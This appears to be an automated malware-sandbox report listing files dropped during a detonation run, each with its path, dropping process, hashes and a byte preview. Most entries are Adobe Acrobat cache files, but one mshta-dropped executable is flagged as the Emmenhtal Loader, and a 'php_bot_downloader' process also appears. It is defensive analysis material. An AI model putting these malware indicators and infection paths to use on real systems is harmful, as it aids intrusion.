Preview:	{"analyticsData":{"responseGUID":"2a717a2a-d3ac-492d-99fd-55bb89f52318","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736245510592,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.310286708353901
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkOutfQdVoZcg1vRcR0YXoAvJfYdPeUkwRe9:YvXKXFJuWkZc0vjGg8Ukee9
MD5:	6CCDAFBE48A7D621DA9C1EDFFD054774
SHA1:	0DA5E5E6BCFD9C27AA85833A27EC6D38C14C77D8
SHA-256:	44B74EF5F86B62A4442A86B90F281558D274AE1CB73B6CCD2007EDF67C5C939D
SHA-512:	8138202273A3E5F2BDAD398BD87633205A06D9385960FA8B745AE3D169CD2D9821C8E9EAC2984D4C8C733CA2D8628F1525DDC081C01533806B42C5711C0215E8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a717a2a-d3ac-492d-99fd-55bb89f52318","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736245510592,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.296200483664049
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkOutfQdVoZcg1vRcR0YXoAvJf+dPeUkwRe9:YvXKXFJuWkZc0vjG28Ukee9
MD5:	62B637B3589A19A9644019E424E1D813
SHA1:	2FDD1F4283F5EEEB03FE8627611440AC339143C7
SHA-256:	B01833BF137D891F170EC34DA7CD4AB872F71D818D086FAA35AAFB3F7CAE0C3B
SHA-512:	B9D150212D57569EB68A93D77F044C99BB417A958EFA1A53937A160751018941BF79A1D49A5FA132CF89EBE42A035D91E978CDDB59BBBDBF1875DADC3D61E8F6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a717a2a-d3ac-492d-99fd-55bb89f52318","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736245510592,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2937631070012765
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkOutfQdVoZcg1vRcR0YXoAvJfbPtdPeUkwRe9:YvXKXFJuWkZc0vjGDV8Ukee9
MD5:	A61D80D01555384B515FE8F86CA055E1
SHA1:	B1A809C139DF867E6435417E5EDB266DBDD42211
SHA-256:	EDF7140BBCA03C8AB1A4C93DA946522D7A830FFAE583F9595AE40B605AF1C786
SHA-512:	6D0D45D9874FBB818203805E24EE94D398F754F0E9A730EF3BA8D64652ABF569DD9126381BA76CA0547242B428DEED2C12D4FB927EC2A3E6CBEB905603BD5ECA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a717a2a-d3ac-492d-99fd-55bb89f52318","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736245510592,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2991322197961095
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkOutfQdVoZcg1vRcR0YXoAvJf21rPeUkwRe9:YvXKXFJuWkZc0vjG+16Ukee9
MD5:	AA5B630CFBA0B6340E9BA20E359204E0
SHA1:	8EBB95F85FDB38EAC1C56618595E9D1D297BF347
SHA-256:	47CD38D0D156A9A344EE16FF6243C7ADE6384A3903B292831DCF1643C165887A
SHA-512:	48E3A73C8D4FD6E74B7929804937725995E1B517B3878D33C3EB26132ACF62C4D4B35FA574A9CE023025AC27028D2D2C05A743832DBE6903543874D785AB8946
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a717a2a-d3ac-492d-99fd-55bb89f52318","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736245510592,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663665972612904
Encrypted:	false
SSDEEP:	24:Yv6XPunzvMamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS2:YvUYyBgkDMUJUAh8cvM2
MD5:	AB2A6AD0176061240E4DA85973E60A2B
SHA1:	D7727F17650362A031286B1EA027F2F08C8ABA72
SHA-256:	714224351BC8B98100412C7802CA6C1566F7F03012F4436D4823B8421EDEE6E6
SHA-512:	E5C21AE8CCC9126E98BCA4F71A1249461F6F808ACAB4C0FE498B6172DF259B25C1E3D9ACDD25E3E857DF5034E9AB3EF596A623E4B9936795E9886AEF4A486C7E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a717a2a-d3ac-492d-99fd-55bb89f52318","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736245510592,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.272777459700605
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkOutfQdVoZcg1vRcR0YXoAvJfshHHrPeUkwRe9:YvXKXFJuWkZc0vjGUUUkee9
MD5:	E354388E7DC713F4EADA8DE5E82235B9
SHA1:	CA0CF00D953F136F31166A8230F87D100876BE4C
SHA-256:	9CF40654ED2DC23895D281D314109BB20B1CB10A479F6C2210E65513E2E43074
SHA-512:	03892CF46B21175E817C36AF4A0BDE7C39FFEFC3AC241D519E30A015E6BEA714D157D6223D4AC236B77FEC838549E56E60C627FBE3A59A9901291F3FE4CB6DDB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a717a2a-d3ac-492d-99fd-55bb89f52318","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736245510592,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2808559843194365
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFkOutfQdVoZcg1vRcR0YXoAvJTqgFCrPeUkwRe9:YvXKXFJuWkZc0vjGTq16Ukee9
MD5:	D94FF5B0EF1483401597DD66DD715EA7
SHA1:	74969632DA8C4F9AAEC035CCBD7E049EBDC23DAC
SHA-256:	015A44A0DEEEDA9FFEAED9C627F70B6328DF9383DE0F40A7EDF57BA72FD42D81
SHA-512:	33DE31287D301EC26AD84ACDA5338033FD578A0F129052BF8865A108B4C62038150CB0E6F63DC43832B1DCA9C2DB413FF504BF096C175904ACA8CEB2706E2A04
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2a717a2a-d3ac-492d-99fd-55bb89f52318","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736245510592,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.141019237621888
Encrypted:	false
SSDEEP:	24:YMnvGasmayETJ7DeBBqMJOcYkkjxv3v3oAPjb3j0SSfNYzC2o12LSSRCRLX5QCKF:YBRe3zOc+JrbzUfF1COJV4v95
MD5:	B28B8C5F77326243E8C1834E4488596B
SHA1:	907DE143FF4333040D1884EB6409226FBCAB71DF
SHA-256:	82F4B31826848A8CB05392D2FF90093FE1AD32F32278DB39BADE196FC0C908D1
SHA-512:	885EF6D8EEE62BE5E0D34428F0F0307B48C44F9B1FBABEA0A154E597F33AB00FD524806ADD559133CF84AC4B41318284AAD2E3DDF86003A3C7C14FD70AC74899
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"a5e444134f07c99cdcbf6207a6bd76d8","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736070249000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"7d05a432e2f367456846041237354966","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736070249000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d4dbf4aa6433e25deda890b014512855","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736070249000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"68e1f0df2f2488314d85b2489aa6c91e","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736070249000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"a2cb6d219337b5de5a9a83c2a9d20e5f","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736070249000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"61dc1b24f98d14a1e7184efdd60ba2c9","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.18661590605189
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUiSvR9H9vxFGiDIAEkGVvp4:lNVmswUUUUUUUUi+FGSItE
MD5:	648577C521C75EAA64ACD5F574194ECE
SHA1:	D6D300B6741286431FCA03D69645285B5DBCBC32
SHA-256:	49A69E58225F7D66BD30E409B15AA81285C4EA13A179766E6BF2C33C38D67C90
SHA-512:	1D1DD713079D42DDE081A82C3062ED2D9F8439302EC7AB873D335ED3A25EC967C44E4D7003C4604ABCC78DB6884FD67E06F44C5E2C91998D8A34D0B7B3ED8866
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6070492881431113
Encrypted:	false
SSDEEP:	48:7M6KUUUUUUUUUUwvR9H9vxFGiDIAEkGVvU5qFl2GL7msa:7qUUUUUUUUUUIFGSItEKVmsa
MD5:	46B1B60F970914220D61E7FD8BF51D8A
SHA1:	79DEC0080D195C027B59BE7DDB2DCBD040CCAAF2
SHA-256:	861FF62735C8B4C9F5A5948D22785CAF5F0802B7FF625BA4D5ABFDFF0301C498
SHA-512:	3D1F1AF39E2CE6A753086BCAAF44AE5D30DA4E9090C8B4BD51C303918101F0B17634C1FFBA66E56558B710583939391E311DAA4865D69B2CCED09C387E32BAE4
Malicious:	false
Preview:	.... .c.......).......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgud3bs/VbbxPmpHdYdQrJDQbYyu:6a6TZ44ADEudLs/VbbxoXsK
MD5:	67CBDE3EDCAD58743D838DD419C58655
SHA1:	E0553E7B45055EC2724B032FA9BD33F6BCD51F0A
SHA-256:	941EFAE689E05C721B60B51267D79D5A1EE7C8655D180EAA0B1806300F5712CF
SHA-512:	14372F2B216C4B3D2D6A3CB3FDFC1570F74751B4B8CEC4B05162E1EB048BA2D2525726D4C942B3108CEB8C4CAEA0EA9287EB5C6307EACE2743E987E6A23AF27C
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\samm[1]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1434675
Entropy (8bit):	6.961837071515437
Encrypted:	false
SSDEEP:	24576:nuChr47tuChr47WuChr47CuChr47YuChr47:nuM47tuM47WuM47CuM47YuM47
MD5:	F74C9109DAE882D15088B4AD8E5BB29D
SHA1:	86A0F44B0A680422DF75A36909FBB396DF64C2D7
SHA-256:	FB04434388B4A26804151BA2E73B9D371B9FEA930541C08243560BAAC94C2FDB
SHA-512:	470153FFAC01DF9F8B8197F1F4489DAB0EE0806558D0736A0A5BA2CA07B7F1BF64BE7DC1F1555DF37874691FB0CC611AF91B16EBA01F53FED7BB3720A8D56E3D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_EmmenhtalLoader, Description: Yara detected Emmenhtal Loader, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\samm[1], Author: Joe Security Rule: emmenhtal_strings_hta_exe, Description: Emmenhtal Loader string, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\samm[1], Author: Sekoia.io
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......,.SXh.=.h.=.h.=...>.k.=...9...=...8.o.=...<.s.=.h.<...=...4.z.=.....i.=...?.i.=.Richh.=.................PE..L.....L......................l....................@..........................p......U`....@...... ...................................0..h'...................`...... -..T...........................(................................................text...D........................... ..`.data...d...........................@....idata...'.......(..................@..@.rsrc...h'...0...(..................@..@.reloc.......`.......6..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\php-8.2.11-Win32-vs16-x64[1].zip

Download File

Process:	C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	31886616
Entropy (8bit):	7.996327176919507
Encrypted:	true
SSDEEP:	786432:4Dz+kmvQr7HvMeqWGbmv9+0/NyvLkuPO/oNGtbogIX+xzBYR6GuSZ:4DzvmYr7HsbaYOYKHzBYR6GP
MD5:	29C9E2CDE366197C69D233D35E7B37EC
SHA1:	3D2F575DBCE04912774D71D89397D993BF60AAFB
SHA-256:	F5651BFB5DE738EA1A0E361EB2057DFAB93E0BAC52B3BEC67DFA7A329E1887E7
SHA-512:	D7EE3C97E72209537519E04E3D2182385E0B3A8BA575F0D581CEE3C1F82ABAD79E74BF02929C9356A93E71473A06AE4E7776E3353272FAF29EFD7FD8FDCB16A9
Malicious:	false
Preview:	PK.........b$Z................php-8.2.11-Win32-vs16-x64/PK..........:W.Y.........'...php-8.2.11-Win32-vs16-x64/deplister.exe.\i\|T....%..M$.....6..@.&N.y.....H@.E$.Y..J..$.I4..(m.b.-...@[..."[....%...F4.&.....o&..]~..../..].=..s.=..s.}..o.,. X..uAh..?.......\|g..\..&...[..[.\.j.Uw....V...9W..p....7c.....,.6##...1.'.l..{/..m.~:...=]..[O..^..gO.........I<......}o6.....m.=...............E..n..!.9J.b...F..ax8.. ....!.'....H..A.P.)^..54~APx.#.P4..n....A....&...&a.g........L.R.._..Z....7...[..8...U...%..~`..~..-x.....Z.L.:.:......E.]...>.....G..[8.'.*!.........Z.\|E.......x_t.\....!.JXq9...+.ou9........E.3...)......2..U&G2..&A.D.F...D..(..?.._rhOA.~.oH-.v.].5.0..&9.s.....$...........2..H&A..r..V.../5.......J{..2.5O....)..j...}o.@K..8...#.......H..A].&y....q.m...IT.[.G.f..uxg...({t..Kl.n..........C.s.6.rmT..~.....xi.V<.2.....hp&.k.l.S..i...T..B...m+/s.}.'.8f.._......I.W.....I.].0.....^.P~..y.<..$.\|.....}.l.....r......oLT.X.y...{.....H.Q.q..,....1H.k.

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\MSI4d1a1.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.505069684106714
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8wWClQOnH:Qw946cPbiOxDlbYnuRKA+H
MD5:	99EFC675032ABAF75C0206F8F91CE035
SHA1:	8A08D38F542B2E1FE2CFA4DCA70940681A2F2AED
SHA-256:	EF25175DCAB42DB06F6255F08840416F0F1119920BDF0F9710CD79BD1CB37BCF
SHA-512:	976276ED390E590868D4C7D2DEDFC8A331BF5D88D5472B5F4850B54AFA07F2D6FD90A77AA09587DDE4CD7A447C6DC4603BB4D27649146E07B3A8A3002124F5E8
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .0.5./.0.1./.2.0.2.5. . .0.4.:.4.4.:.1.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b1pxarqz.orv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pgydte2o.245.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pjawmf0p.dkv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s2rq5h5d.y10.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ubirbunw.cvo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zt3fdw25.k2a.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A915p8l8r_c8ndrb_230.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
